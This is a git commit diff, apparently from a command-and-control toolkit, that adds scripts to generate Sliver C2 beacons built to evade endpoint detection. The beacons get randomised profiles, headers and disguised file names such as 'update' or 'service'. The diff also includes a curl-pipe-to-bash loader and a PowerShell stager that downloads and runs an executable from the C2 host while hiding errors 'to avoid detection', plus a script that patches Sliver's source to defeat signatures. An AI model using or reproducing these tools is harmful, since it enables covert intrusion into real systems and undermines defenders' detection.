adding evasion to sliver and beacons
This commit is contained in:
n0mad1k
@@ -0,0 +1,188 @@
|
||||
#!/bin/bash
|
||||
# Advanced EDR-evasive beacon generator with dynamic randomization
|
||||
|
||||
# Dynamic configuration
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
TIMESTAMP=$(date +%s)
|
||||
C2_HOST=${1:-$(hostname -I | awk '{print $1}')}
|
||||
C2_PORT=${2:-$(( 7000 + RANDOM % 3000 ))}
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Generate unique random values for each execution
|
||||
random_string() {
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||
}
|
||||
|
||||
random_path() {
|
||||
local depth=$(( 1 + RANDOM % 3 ))
|
||||
local path="/"
|
||||
for ((i=0; i<depth; i++)); do
|
||||
path+="$(random_string $(( 4 + RANDOM % 8 )))/"
|
||||
done
|
||||
echo "${path}$(random_string $(( 5 + RANDOM % 10 )))"
|
||||
}
|
||||
|
||||
# Generate unique profile for each beacon
|
||||
generate_profile() {
|
||||
local type=$1
|
||||
local profile_name="profile-${type}-$(random_string 8)"
|
||||
local http_path1=$(random_path)
|
||||
local http_path2=$(random_path)
|
||||
local interval=$(( 30 + RANDOM % 120 ))
|
||||
local jitter=$(( 10 + RANDOM % 35 ))
|
||||
local headers=(
|
||||
"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))"
|
||||
"X-Requested-With: XMLHttpRequest"
|
||||
"X-Client-ID: $(random_string 16)"
|
||||
"Cache-Control: max-age=$(( 100 + RANDOM % 900 ))"
|
||||
"X-$(random_string 8): $(random_string 12)"
|
||||
)
|
||||
|
||||
# Select random subset of headers
|
||||
local selected_headers=()
|
||||
for ((i=0; i<$(( 2 + RANDOM % 3 )); i++)); do
|
||||
selected_headers+=("${headers[RANDOM % ${#headers[@]}]}")
|
||||
done
|
||||
|
||||
# Format headers for JSON
|
||||
local json_headers="["
|
||||
for ((i=0; i<${#selected_headers[@]}; i++)); do
|
||||
json_headers+="\"${selected_headers[i]}\""
|
||||
if [[ $i -lt $((${#selected_headers[@]}-1)) ]]; then
|
||||
json_headers+=", "
|
||||
fi
|
||||
done
|
||||
json_headers+="]"
|
||||
|
||||
# Create profile with unique properties for this beacon type
|
||||
cat > "$TEMP_DIR/$profile_name.json" << EOF
|
||||
{
|
||||
"name": "$profile_name",
|
||||
"http_urls": ["$http_path1", "$http_path2"],
|
||||
"http_headers": $json_headers,
|
||||
"beacon_interval": $interval,
|
||||
"beacon_jitter": $jitter,
|
||||
"kill_date": "$(date -d "+$(( 30 + RANDOM % 90 )) days" +%Y-%m-%d)",
|
||||
"working_hours": {
|
||||
"start": "$(( 5 + RANDOM % 5 )):$(( RANDOM % 60 ))",
|
||||
"end": "$(( 16 + RANDOM % 8 )):$(( RANDOM % 60 ))"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Install unique profile
|
||||
mkdir -p /root/.sliver/profiles/
|
||||
cp "$TEMP_DIR/$profile_name.json" /root/.sliver/profiles/
|
||||
echo $profile_name
|
||||
}
|
||||
|
||||
# Random output filename generator
|
||||
random_output_name() {
|
||||
local type=$1
|
||||
local names=(
|
||||
"update" "service" "client" "agent" "app" "system"
|
||||
"monitor" "utility" "helper" "runtime" "driver" "module"
|
||||
)
|
||||
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
||||
|
||||
case "$type" in
|
||||
windows) echo "${name}.exe" ;;
|
||||
windows_dll) echo "${name}.dll" ;;
|
||||
linux) echo "${name}" ;;
|
||||
darwin) echo "${name}" ;;
|
||||
*) echo "${name}" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Ensure output directory exists
|
||||
mkdir -p $BEACONS_DIR
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
mkdir -p $BEACONS_DIR/shellcode
|
||||
|
||||
# Generate each beacon type with unique profile and settings
|
||||
echo "[+] Generating randomized, evasive beacons..."
|
||||
|
||||
# Windows EXE
|
||||
win_profile=$(generate_profile "windows")
|
||||
win_output=$(random_output_name "windows")
|
||||
sliver generate --profile $win_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
||||
--format exe --save "$BEACONS_DIR/$win_output"
|
||||
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
||||
|
||||
# Windows DLL
|
||||
dll_profile=$(generate_profile "windows_dll")
|
||||
dll_output=$(random_output_name "windows_dll")
|
||||
sliver generate --profile $dll_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
||||
--format shared --save "$BEACONS_DIR/$dll_output"
|
||||
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
||||
|
||||
# Linux binary
|
||||
linux_profile=$(generate_profile "linux")
|
||||
linux_output=$(random_output_name "linux")
|
||||
sliver generate --profile $linux_profile --http $C2_HOST:$C2_PORT --os linux --arch amd64 \
|
||||
--format elf --save "$BEACONS_DIR/$linux_output"
|
||||
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
||||
|
||||
# macOS binary
|
||||
mac_profile=$(generate_profile "darwin")
|
||||
mac_output=$(random_output_name "darwin")
|
||||
sliver generate --profile $mac_profile --http $C2_HOST:$C2_PORT --os darwin --arch amd64 \
|
||||
--format macho --save "$BEACONS_DIR/$mac_output"
|
||||
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
||||
|
||||
# Generate dynamic stagers with variable formats
|
||||
stager_profile=$(generate_profile "stager")
|
||||
stager_win=$(random_output_name "windows")
|
||||
sliver generate stager --profile $stager_profile --http $C2_HOST:$C2_PORT --os windows --arch amd64 \
|
||||
--format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create randomized loader scripts
|
||||
echo "#!/bin/bash
|
||||
# $(random_string 32)
|
||||
# $(date)
|
||||
sleep \$((RANDOM % 3))
|
||||
curl -s http://$C2_HOST:$C2_PORT$(random_path) -H \"$(random_string 8): $(random_string 12)\" | bash
|
||||
# $(random_string 24)" > "$BEACONS_DIR/loader_$(random_string 8).sh"
|
||||
chmod +x "$BEACONS_DIR/loader_$(random_string 8).sh"
|
||||
|
||||
# Random PowerShell stager with junk and evasion
|
||||
cat > "$BEACONS_DIR/loader_$(random_string 8).ps1" << EOF
|
||||
# $(random_string 32)
|
||||
# Generated: $(date)
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$r = New-Object -TypeName Random
|
||||
Start-Sleep -Milliseconds \$r.Next(100, 2000)
|
||||
\$wc = New-Object Net.WebClient
|
||||
\$wc.Headers.Add("$(random_string 8)", "$(random_string 12)")
|
||||
\$url = 'http://$C2_HOST:$C2_PORT$(random_path)'
|
||||
\$outpath = "\$env:TEMP\$(random_string 8).exe"
|
||||
try {
|
||||
# $(random_string 16)
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds \$r.Next(500, 3000)
|
||||
Start-Process -NoNewWindow -FilePath \$outpath
|
||||
} catch {
|
||||
# Error handling to avoid detection
|
||||
# $(random_string 24)
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create index of generated files for reference
|
||||
echo "[+] Creating reference file with beacon details"
|
||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||
C2 Server: $C2_HOST:$C2_PORT
|
||||
Generated: $(date)
|
||||
|
||||
Windows EXE: $win_output (Profile: $win_profile)
|
||||
Windows DLL: $dll_output (Profile: $dll_profile)
|
||||
Linux Binary: $linux_output (Profile: $linux_profile)
|
||||
macOS Binary: $mac_output (Profile: $mac_profile)
|
||||
Windows Stager: staged/$stager_win (Profile: $stager_profile)
|
||||
|
||||
All profiles are uniquely generated with randomized settings.
|
||||
EOF
|
||||
|
||||
# Cleanup
|
||||
rm -rf $TEMP_DIR
|
||||
echo "[+] Beacon generation complete with dynamic fingerprint avoidance"
|
||||
+5
-17
@@ -14,24 +14,12 @@ umask 077
|
||||
mkdir -p $BEACONS_DIR
|
||||
|
||||
# Function to generate beacons using Sliver
|
||||
generate_beacons() {
|
||||
echo "[+] Generating beacons for all platforms..."
|
||||
# This will replace part of files/serve-beacons.sh
|
||||
function generate_beacons() {
|
||||
echo "[+] Generating evasive beacons for all platforms..."
|
||||
|
||||
# Make sure Sliver server is running
|
||||
if ! pgrep -x "sliver-server" > /dev/null; then
|
||||
echo "[!] Sliver server is not running, starting it..."
|
||||
systemctl start sliver
|
||||
sleep 5
|
||||
fi
|
||||
|
||||
# Generate Windows beacon
|
||||
sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
|
||||
|
||||
# Generate Linux beacon
|
||||
sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
|
||||
|
||||
# Generate macOS beacon
|
||||
sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
|
||||
# Use evasive beacon generator for better EDR bypass
|
||||
/opt/c2/generate_evasive_beacons.sh $C2_HOST 8443
|
||||
|
||||
# Generate stagers
|
||||
echo "#!/bin/bash
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# This will be saved as files/sliver_randomizer.sh
|
||||
#!/bin/bash
|
||||
# EDR bypass script - Creates unique Sliver payloads to evade detection
|
||||
|
||||
set -e
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
SLIVER_DIR="${TEMP_DIR}/sliver"
|
||||
LOG_FILE="/opt/c2/sliver_randomizer.log"
|
||||
|
||||
# Function to log messages
|
||||
log() {
|
||||
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
|
||||
}
|
||||
|
||||
# Function to generate random strings
|
||||
random_string() {
|
||||
local length=${1:-8}
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||
}
|
||||
|
||||
# Clone Sliver
|
||||
log "Cloning Sliver repository..."
|
||||
git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR
|
||||
cd $SLIVER_DIR
|
||||
|
||||
# Generate randomization values
|
||||
IMPLANT_NAME=$(random_string 8)
|
||||
HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)"
|
||||
HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)"
|
||||
BEACON_MIN=$((30 + RANDOM % 60))
|
||||
JITTER=$((10 + RANDOM % 20))
|
||||
|
||||
# 1. Modify implant name (critical for signatures)
|
||||
log "Changing implant name to $IMPLANT_NAME..."
|
||||
sed -i "s/ImplantName = \"sliver\"/ImplantName = \"$IMPLANT_NAME\"/g" server/configs/constants.go
|
||||
|
||||
# 2. Change HTTP request patterns (affects network signatures)
|
||||
log "Modifying HTTP transport patterns..."
|
||||
sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" implant/sliver/transports/httpclient.go
|
||||
|
||||
# 3. Add unique build ID (affects binary signatures)
|
||||
log "Adding unique build identifiers..."
|
||||
cat >> implant/sliver/sliver.go << EOF
|
||||
|
||||
// Custom build identifier: $(random_string 32)
|
||||
// Build timestamp: $(date +%s)
|
||||
EOF
|
||||
|
||||
# 4. Modify PE headers through go build flags
|
||||
log "Setting custom build flags..."
|
||||
sed -i "s/LinkerStrip = \"-s -w\"/LinkerStrip = \"-s -w -buildid=$(random_string 10)\"/g" client/command/generate/binaries.go
|
||||
|
||||
# Build the modified Sliver
|
||||
log "Building Sliver client only..."
|
||||
make client
|
||||
|
||||
# Create custom profiles directory
|
||||
mkdir -p /opt/c2/sliver-profiles
|
||||
|
||||
# Create evasive profile template
|
||||
cat > /opt/c2/sliver-profiles/evasive-template.json << EOF
|
||||
{
|
||||
"name": "evasive-$(random_string 4)",
|
||||
"http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"],
|
||||
"http_headers": [
|
||||
"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))",
|
||||
"X-Requested-With: XMLHttpRequest",
|
||||
"Cache-Control: max-age=$(( 100 + RANDOM % 400 ))"
|
||||
],
|
||||
"beacon_interval": $BEACON_MIN,
|
||||
"beacon_jitter": $JITTER,
|
||||
"kill_date": "$(date -d "+60 days" +%Y-%m-%d)",
|
||||
"working_hours": {
|
||||
"start": "$(( 6 + RANDOM % 4 )):00",
|
||||
"end": "$(( 16 + RANDOM % 6 )):00"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Install client but use system Sliver server
|
||||
log "Installing Sliver client..."
|
||||
cp -f ./sliver-client /usr/local/bin/
|
||||
|
||||
# Cleanup
|
||||
log "Cleaning up..."
|
||||
rm -rf $TEMP_DIR
|
||||
|
||||
log "Customization complete."
|
||||
Reference in New Issue
Block a user